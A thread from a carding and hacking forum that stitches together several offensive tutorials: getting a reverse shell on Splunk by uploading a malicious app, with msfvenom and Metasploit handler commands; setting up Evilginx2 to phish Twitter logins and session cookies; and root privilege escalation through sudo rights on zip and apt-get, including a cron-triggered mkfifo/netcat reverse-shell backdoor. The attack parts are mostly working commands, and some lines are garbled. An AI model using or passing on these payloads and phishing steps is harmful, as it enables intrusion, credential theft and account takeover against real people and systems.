[Guide] How to Penetration Testing on Splunk

[Guide] How to Penetration Testing on Splunk - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to Penetration Testing on Splunk (/Thread-Guide-How-to-Penetration-Testing-on-Splunk)

[Guide] How to Penetration Testing on Splunk - NINZA - 05-14-2020

In this article, we are going to exploit SPLUNK using the reverse shell. One can find this beneficial in exploiting and do penetration testing of SPLUNK environment of their respective IT infrastructure.
Table of Content

Introduction to SPLUNK
Deploying SPLUNK on UBUNTU
Exploiting SPLUNK using a reverse shell

What is SPLUNK?
Splunk Enterprise Security (ES) is a security information and event management (SIEM) solution that provides insight into machine data generated from security technologies such as network, endpoint, access, malware, vulnerability and identity information. It is a premium application that is licensed independently from Splunk core.
Splunk (the product) captures, indexes, and correlates real-time data in a searchable repository from which it can generate graphs, reports, alerts, dashboards, and visualizations.
For more information read from

[To see content please register here]

.
Deploying SPLUNK on UBUNTU
Now we will continue with penetration testing of SPLUNK on LINUX platform (here we are using UBUNTU), the same can be performed on the windows platform as well.
Visit

[To see content please register here]

and register there for downloading the free trial version of SPLUNK. Since we are going to continue with UBUNTU we have downloaded the Splunk for Linux 64 bit (.tgz file).
Once it gets downloaded on your UBUNTU machine, follow the process below for creating an instance of SPLUNK:
Open terminal, go to downloads and extract file using
tar -zxfv splunk-7.3.0-657388c7a488-Linux-x86_64.tgz
1
tar -zxfv splunk-7.3.0-657388c7a488-Linux-x86_64.tgz
[Image: 1.png?w=687&ssl=1]

Now follow these commands for installing splunk:
mv splunk /opt
cd /opt
cd splunk
cd bin/
/opt/splunk/bin/splunk start --accept-license
1
2
3
4
5
mv splunk /opt
cd /opt
cd splunk
cd bin/
/opt/splunk/bin/splunk start --accept-license
When asked enter the username and password you need to configure for Splunk.
[Image: 2.png?w=687&ssl=1]

Once done you should see the following screen with URL of your Splunk GUI
[Image: 3.png?w=687&ssl=1]

Go to http://ubuntu:8000 (URL of your Splunk GUI) and enter the user id and password you configured earlier:
[Image: 4.png?w=687&ssl=1]

Exploiting SPLUNK using a reverse shell
In the first phase, we have discussed how we can deploy Splunk in our local machine (Ubuntu) and in this phase, we will go with Splunk penetration testing where we will try to exploit Splunk for obtaining reverse shell of the machine.
For exploiting Splunk first now download the latest released shell from the following the link:

[To see content please register here]

Now login to Splunk GUI from your kali machine visiting the IP of Ubuntu server: 8000 (192.168.0.37:8000) and login
[Image: 7.png?w=687&ssl=1]

Navigate to the “App: Search & Reporting” option and click on “Search & Reporting”
[Image: 8.png?w=687&ssl=1]

Click on the “Install app from file” option.
[Image: 9.png?w=687&ssl=1]

For installing any app slunk provides upload form to browse any .spl or .tar.gz for uploading. Taking advantages of functionality we will try to upload our Splunk shell that we had downloaded previously.
[Image: 10.png?w=687&ssl=1]

After uploading restart your Splunk instance.
[Image: 11.png?w=687&ssl=1]

Once restarted, go to apps tab again, Find your installed archive (weaponize Splunk for red teaming and pen testing)
We scroll down to find our shell file as shown below. Before we can run, it we need to click on the “Permissions” option to change its permissions.
[Image: 12.png?w=687&ssl=1]

Click on permissions and change to all apps as shown below:
[Image: 13.png?w=687&ssl=1]

Now to execute the shell. We navigate to the search option in Splunk and type in our command defining that we want a reverse shell of standard type to talk to out attach machines IP on the listening port.
| revshell std 192.168.0.7 1234
1
| revshell std 192.168.0.7 1234
[Image: 14.png?w=687&ssl=1]

Now go to Kali Linux and open a terminal:
Start netcat using following command on any port you wish (here I have used 1234)
nc -lvp 1234
1
nc -lvp 1234
Hmmm!! As you can observe that by executing id command we show root uid and gid information but for obtaining proper tty shell we need to break jail.
[Image: 16.png?w=687&ssl=1]

We used Msfvenom to create a python payload.
msfvenom -p cmd/unix/reverse_python lhost=192.168.0.7 lport=4444 R
1
msfvenom -p cmd/unix/reverse_python lhost=192.168.0.7 lport=4444 R
[Image: 17.png?w=687&ssl=1]

The payload is uploaded through our existing Netcat session, all that needed to be done was the payload to be pasted into the terminal and executed but do not forget to run netcat listener inside a new terminal.
[Image: 18.png?w=687&ssl=1]

A new Netcat session is started on the port (4444) that we defined in our payload and we see the execution occur flawlessly. Once this netcat session is started run following command:
python –c 'import pty;pty.spawn("/bin/bash")'
1
python –c 'import pty;pty.spawn("/bin/bash")'
And after executing the command we can see that shell is gained.
[Image: 19.png?w=687&ssl=1]

Meterpreter Session
If you are hoping for a meterpreter session then you can use a multi handler for obtaining reverse connection of victim’s machine.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.0.7
msf exploit(multi/handler) > set lport 9999
msf exploit(multi/handler) > exploit-j
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.0.7
msf exploit(multi/handler) > set lport 9999
msf exploit(multi/handler) > exploit-j
[Image: 20.png?w=687&ssl=1]

Type following to execute a reverse shell
| revshell msf 192.168.0.7 9999
1
| revshell msf 192.168.0.7 9999
[Image: 21.png?w=687&ssl=1]

Boooom!! We got the meterpreter session.
And in this way saw Splunk penetration testing
[Image: 22.png?w=687&ssl=1]

This is the successor of Evilginx 1, and it stays in-line with the MITM lineage. This tool is designed for a Phishing attack to capture login credentials and a session cookie.
Table of Content
Overview
Setup

Perquisites
Installation
Domain Setup
Priming Evilginx

Execution

Lure Creation
Attack Simulation

Overview
One of the biggest concerns in today’s cyberspace is Phishing, it’s one of those things that uses what a user is familiar with against them. This is a MITM attack framework that sits between the user and site that they are trying to access to potentially steal their credentials. The framework is written in GO and implements its own HTTP and DNS server, making the setup process a breeze.
Setup
Let’s get acquainted with Evilginx2. The first thing we need to do is setup the Evilginx2 application on our attacking machine, let’s get the IP.
ifconfig
1
ifconfig
[Image: 1.png?w=687&ssl=1]

Perquisites
Evilginx has a few requirements before it can be installed and start working optimally, let’s take of them first.
We use pscp to upload the go install file to our attacking machine, defining where it can find the file and the credentials and IP of the destination machine. Go is a prerequisite for setting up evilginx. You can get Go 1.10.0 from

[To see content please register here]

.
pscp.exe c:\go1.10.linux-amd64.tar.gz [email protected]:/tmp/go1.10.linux-amd65.tar.gz
1
pscp.exe c:\go1.10.linux-amd64.tar.gz [email protected]:/tmp/go1.10.linux-amd65.tar.gz
[Image: 2.png?w=687&ssl=1]

Once we have to Go in our machine we unpack and install it. Pscp deposited our Go file in the tmp folder. We will now be using the following commands to install Go and check its version:
cd /tmp/
ls
tar -C /use/local -xzf go1.10.linux-amd64.tar.gz
export PATH=$PATH:/use/local/go/bin
source $HOME/ .profile
go version
1
2
3
4
5
6
cd /tmp/
ls
tar -C /use/local -xzf go1.10.linux-amd64.tar.gz
export PATH=$PATH:/use/local/go/bin
source $HOME/ .profile
go version
[Image: 3.png?w=687&ssl=1]

Go needs to be added to ~/.profieles now, here’s how you do it:
Open the. profiles file in nano or any other text editor and type in the following
export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
1
2
export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
[Image: 4.png?w=687&ssl=1]

Next, install git make by typing the following:
apt-get install git make
1
apt-get install git make
[Image: 5.png?w=687&ssl=1]

Installation
Now we are ready to install Evilginx, let’s see how.
go get -u github.com/kgretzky/evilginx2
cd $GOPATH/src/github.com/kgretzky/evilginx2
make
make install
1
2
3
4
go get -u github.com/kgretzky/evilginx2
cd $GOPATH/src/github.com/kgretzky/evilginx2
make
make install
[Image: 6.png?w=687&ssl=1]

Let’s launch Evilginx by running the script.
./evilginx
1
./evilginx
[Image: 7.png?w=687&ssl=1]

There is multiple built-in options that the attacker can utilize to choose a site template called Phishlets.
[Image: 8.png?w=687&ssl=1]

Domain Setup
Evilginx works as a relay between the victim and the legitimate website that they are trying to access, to achieve this, the attacker needs a domain of their own. There are plenty of resources on the web from where a free domain can be attained temporarily, we used one such resource. We have setup an attacking domain: userid.cf.
[Image: 9.png?w=687&ssl=1]

The IP of our attacking machine is used in the IP address for the nameserver, if you recall, we noted it earlier on in the process.
[Image: 10.png?w=687&ssl=1]

Priming Evilginx
This is the part where we prime Evilginx for the attack. At the Evilginx terminal, we use the help command to see the various general configuration options that it has.
help
1
help
[Image: 11.png?w=687&ssl=1]

We need to configure Evilginx to use the domain name that we have set up for it and the IP for the attacking machine.
config domain userid.cf
config ip 68.183.85.197
1
2
config domain userid.cf
config ip 68.183.85.197
[Image: 12.png?w=687&ssl=1]

Time to setup the domains. We have used the twitter phishlet with our domain and Evilginx gives us options of modified domain names that we can setup in our hosting site
phishlets hostname twitter twittwer.com.userid.cf
phishlets get-hosts twitter
1
2
phishlets hostname twitter twittwer.com.userid.cf
phishlets get-hosts twitter
[Image: 13.png?w=687&ssl=1]

In our hosting site, we set the A record, which will the IP of the attacking machine and then copy and paste the domain names provided by Evilginx. One thing to note here, we don’t need to copy the “userid.cf” part, we just need the preceding string.
[Image: 14.png?w=687&ssl=1]

Execution
We now have everything we need to execute a successful attack using Evilginx.
The settings have been put into place, now we can start using the tool for what it is intended
phishlets enable twitter
1
phishlets enable twitter
[Image: 15.png?w=687&ssl=1]

Lure Creation
We now need a link that the victim clicks on, in Evilginx, the term for the link is “Lures”.
The help command shows us what options we must use for setting up the lures.
help lures
1
help lures
[Image: 16.png?w=687&ssl=1]

The lures have to be attached with our desired phishlet and a redirect has to be set to point towards the legitimate website that we are trying to harvest credentials for. Once the lures have been configured, we can see what the configurations yield.
lures
lures create twitter
lures edit redirect_url 0 =’https://www.twitter.com’
lures
lures get-url 0
1
2
3
4
5
lures
lures create twitter
lures edit redirect_url 0 =’https://www.twitter.com’
lures
lures get-url 0
[Image: 17.png?w=687&ssl=1]

Attack Simulation
When a victim clicks on our created lure, they will be sent to out phishlet, as can be seen below.
[Image: 18.png?w=687&ssl=1]

The victim enters their credentials and we see Evilginx capturing them and relaying them to the attack machines terminal.
This is a great tool to explore and understand phishing but at the same time, be sure to use it in a controlled setting.
[Image: 19.png?w=687&ssl=1]

Today We are going to tell you that how can we perform Privilege Escalation with Zip command. As we all know that Zip is an easy platform-based file packaging and compression utilities for Unix-like systems like Linux, Windows, etc. The Zip program is used for compressing and packaging documents.
Note: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Content

Introduction to ZIP
Major functions of ZIP command
Sudo Rights Lab setups for Privilege Escalation
Exploiting Sudo rights

Introduction to ZIP
Zip is helpful for packaging a number of distribution files, archiving files, and disk storage by compressing unused files or directories momentarily. You can pack a whole directory structure into a single command zip archive. For text files, 2:1 to 3:1 compression ratio is commonplace. But that’s not all. What else we can do with the Zip command. Let’s think out of the box. Now we are doing something creative which might have not tried before; that is, we are trying Privilege Escalation with Zip command. Let’s understand how. In order to perform this first, we will tell you what a Zip command does in Linux. So, let’s start.
Major Operations Performed Using ZIP command
First, we will run zip -h command which means help; it tells you about all the options available in zip command as shown in the picture below.
zip -h
1
zip -h
[Image: 0.png?w=687&ssl=1]

So, our first step is to make a directory. We will first create a directory by the name Ignite and then I will create some text files into this by using touch command.
As you can see, we have created three text files by the name of file1.txt, file2.txt, file3.txt in this folder Ignite. Now we will zip file1.txt and file3.txt and give this file a name zip file.zip followed by the file names.
After this step, we will use ls -la command to check the list of the files.
[Image: 1.png?w=687&ssl=1]

Delete with -d option
-d option – It deletes the file from the zip file. You can delete a file from the archive with the -d option after generating a zip file as we did with file3.txt. We are using -d command to delete file3.txt from the zip file. So first we will specify the zip file name from where we want to delete the file.
zip -d file.zip file3.txt
1
zip -d file.zip file3.txt
[Image: 2.png?w=687&ssl=1]

Update with -u option
so, you will notice that file3.txt is deleted from the file.zip. Now we want to update the zip file and add a text file directly into the zip file. So, we will use -u option
zip -u file.zip file2.txt
1
zip -u file.zip file2.txt
by using the above command, you will notice that file2.txt is directly added into the zip file. i.e. file.zip
Move Multiple files with -m option
Now we will first create files of different extensions in our named Ignite. As you can see that we have created two files of txt, two files of pdf extension and two files of jpg extensions. So, we have files with different extensions. In order to move files of different extensions in a zip file then we need to use -m option. Here you can see that we are using -m option to move all text files in zip file. So, we will run the following command-
zip -m 1.zip *.txt
1
zip -m 1.zip *.txt
As we can check through ls -la that all are text files has been moved into a zip file and as well as all the text files are deleted from their original destination; which reflects that we have performed it successfully. So, we are now trying this on pdf and jpg files as well to move them in a 1.zip zip file.
[Image: 3.png?w=687&ssl=1]

Execute system command using zip
You might have not thought of what else we can do with zip command. We can run any Linux command with the zip file as we are going to do. First, we will make one txt file with touch command as we have done above. The file named raj.txt is created. Now we are trying to execute any Linux command through zip command. Run the following command along with zip file and we will get the output.
zip 1.zip raj.txt -T --unzip-command="sh -c ifconfig"
1
zip 1.zip raj.txt -T --unzip-command="sh -c ifconfig"
As you can see that we have executed the system command through zip command.
[Image: 4.png?w=687&ssl=1]

Exploiting Zip
Sudo Rights Lab setups for Privilege Escalation
The behaviour of zip gets changed when running with higher privilege. Let’s suppose the system admin had given sudo permission to the local user to run zip. This is can be led to privilege escalation once the system is compromised. So here we are going to put test user in the sudoers file so that test user has root the privileges to run zip command as sudo user.
[Image: 5.png?w=687&ssl=1]

Now imagine can we have Privilege shell of victim’s pc by exploiting zip program. It’s very difficult to even think of but very easy to perform. So, let’s do that. First, go to kali’s terminal and connect ubuntu with ssh as we have done in below-
ssh [email protected]
1
ssh [email protected]
Well-done. We have connected through ssh successfully.
Now we will run sudo -l command to check the list the entries of sudo files which are a member of the sudoers file. In the list, we can see that test is a member of the sudoers file and can run the zip program with root privilege.
Let’s exploit!!
Now first we will create a file with touch command as we have created a file raj.txt and now we will compress the raj.txt and through zip file, we are taking a shell. So that we will run the following command-
sudo zip 1.zip raj.txt -T --unzip-command="sh -c /bin/bash"
1
sudo zip 1.zip raj.txt -T --unzip-command="sh -c /bin/bash"
Now we can see that we have successfully taken the shell of the victim’s machine through zip command.
[Image: 6.png?w=687&ssl=1]

In this article, we’ll talk about APT (apt-get) functionality and learn how helpful the apt command is for Linux penetration testing and how we’ll progress apt to scale the greater privilege shell.
Note: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Content
Introduction to APT (apt-get)

Major Operation performed using APT (apt-get)

Exploiting APT (apt-get)

Sudo Rights Lab setups for Privilege Escalation
Exploiting Sudo rights: Method -I
Exploiting Sudo rights: Method -II
Exploiting Sudo rights: Method -III
Crontab Lab setups for Privilege Escalation
Exploiting Cron job

Introduction to APT (apt-get)
The apt command is a powerful command-line tool, which works with Ubuntu’s Advanced Packaging Tool (APT) performing such functions as installation of new software packages, upgrade of existing software packages, updating of the package list index, and even upgrading the entire Ubuntu system.
Actions of the apt command, such as installation and removal of packages, are logged in the /var/log/dpkg.log log file.
For further information about the use of APT type:
apt-get -h
1
apt-get -h
[Image: 1.png?w=687&ssl=1]

Major Operation performed using APT (apt-get)

Update the Package: The APT package index is essentially a database of available packages from the repositories defined in the /etc/apt/sources.list file and in the /etc/apt/sources.list.d directory. To update the local package index with the latest changes made in the repositories, type the following:

apt-get update
1
apt-get update

Upgrade Packages: Over time, updated versions of packages currently installed on your computer may become available from the package repositories (for example security updates). To upgrade your system, first update your package index as outlined above, and then type:

apt-get upgrade
apt-get dist-upgrade
1
2
apt-get upgrade
apt-get dist-upgrade
[Image: 2.png?w=687&ssl=1]

Install a Package: we can Installation of packages using the apt tool which is quite easy. For example, to install the OpenSSH-server, type the following:

apt-get install openssh-server
1
apt-get install openssh-server

Un-install a package: we can use remove command to un-install software packages without removing their configuration files.

apt-get remove openssh-server
1
apt-get remove openssh-server

Remove Installed packet: To remove software packages including their configuration files, use the ‘purge’ subcommand as shown below.

apt-get purge openssh-server
1
apt-get purge openssh-server
[Image: 3.png?w=687&ssl=1]

Exploiting APT (apt-get)
Sudo Rights Lab setups for Privilege Escalation
The behaviour of apt-get gets changed when running with higher privilege. Let’s suppose the system admin had given sudo permission to the local user to run apt-get. This is can be led to privilege escalation once the system is compromised.
First all let’s revise what is sudo Permission?
In Linux/Unix, a sudoers file inside /etc is the configuration file for sudo rights. The word sudo represent Super User Do Root privilege task. Sudoers file is that file where the users and groups with root privileges are stored to run some or all commands as root or another user.
[Image: 4.png?w=687&ssl=1]

So here, we had given sudo privilege to test user to run apt-get as root. To add sudo right open etc/sudoers file and type following as user Privilege specification.
test ALL=(ALL) NOPASSWD: /usr/bin/apt-get
1
test ALL=(ALL) NOPASSWD: /usr/bin/apt-get
[Image: 7.png?w=687&ssl=1]

Exploiting Sudo rights: Method -I
Let’s exploit apt-get service by abusing sudo user right. Suppose we had local user access of the targeted system and we want to escalate the root user rights.
So, first, we connect to the target machine with ssh and type following command to get access through local user login.
ssh [email protected]
1
ssh [email protected]
Then we look for sudo right of “test” user (if given) and found that user “test” can execute the apt-get command as “root” (since he has ALL user’s right) without a password.
sudo -l
1
sudo -l
To exploit sudo right through apt service we just run the following command which will invoke bash for us with root privilege as shown in the below image.
sudo apt-get update -o APT::Update: Tongue

re-Invoke::= /bin/bash
1
sudo apt-get update -o APT::Update: Tongue

re-Invoke::= /bin/bash
[Image: 8.png?w=687&ssl=1]

Exploiting Sudo rights: Method-II
We may use apt-get for viewing changes in the packaged version of a project. We can, therefore, enter the following command in order to call a changelog, which dumps in the editor, like Man, data relating to changes to the source package.
sudo apt-get changelog apt
1
sudo apt-get changelog apt
This will open the console like a Man editor to read the apt changelog, here we can inject “!/bin/sh” and press enter to execute bash shell for us.
[Image: 9.png?w=687&ssl=1]

You get “#” shell that means that we successfully escalated the root shell, as shown in the following picture.
[Image: 11.png?w=687&ssl=1]

Exploiting Sudo rights: Method-III
We can use dpkg to construct a package instead of using apt-get to invoke bin/bash. We will first build a temp file, in which we construct a packaging to call /bin/bash, and then install the package via apt-get.
TF=$(mktemp)
echo 'Dpkg: Tongue

re-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
1
2
3
TF=$(mktemp)
echo 'Dpkg: Tongue

re-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
[Image: 12.png?w=687&ssl=1]

Crontab Lab setups for Privilege Escalation
This strategy is based upon a situation in which we assume that apt.conf.d can be written in order to plan a cronjob job to update the package with the command apt-get update. As we have said, we gave /adt-conf.d complete permission.
chmod 777 apt.conf.d
ls -al
1
2
chmod 777 apt.conf.d
ls -al
[Image: 13.png?w=687&ssl=1]

And then schedule the task using crontab to schedule an update of the software after 2 minutes every time as shown the below image
*/2 * *** root apt-get update
[Image: 14.png?w=687&ssl=1]

Exploiting Cron job
Let’s exploit apt-get service by abusing cron job as we all know cron job run as root. Suppose we had access to the targeted system locally and want the root user rights to enhanced limited shell access.
So, first we connect to the target machine with ssh and type following command:
ssh [email protected]
1
ssh [email protected]
And we know apt.conf.d file has full permission as said above (You can also manually check to ensure the writable directory using find command) in the lab setup. Therefore, we will create a malicious file inside apt.conf.d by injecting netcat reverse backdoor:
echo 'apt::Update: Tongue

re-Invoke {“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 1234 >/tmp/f”};’ > pwn
1
echo 'apt::Update: Tongue

re-Invoke {“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 1234 >/tmp/f”};’ > pwn
[Image: 15.png?w=687&ssl=1]

Start the netcat listener to access the reverse connection of the host machine and wait for 2 minutes to obtain the privilege shell since apt-get update task is scheduled to update the packages every time, after minute through crontab that runs as root and it runs our netcat backdoor pwn to get reverse connections as depicted in the image.
[Image: 16.png?w=687&ssl=1]

References:

[To see content please register here]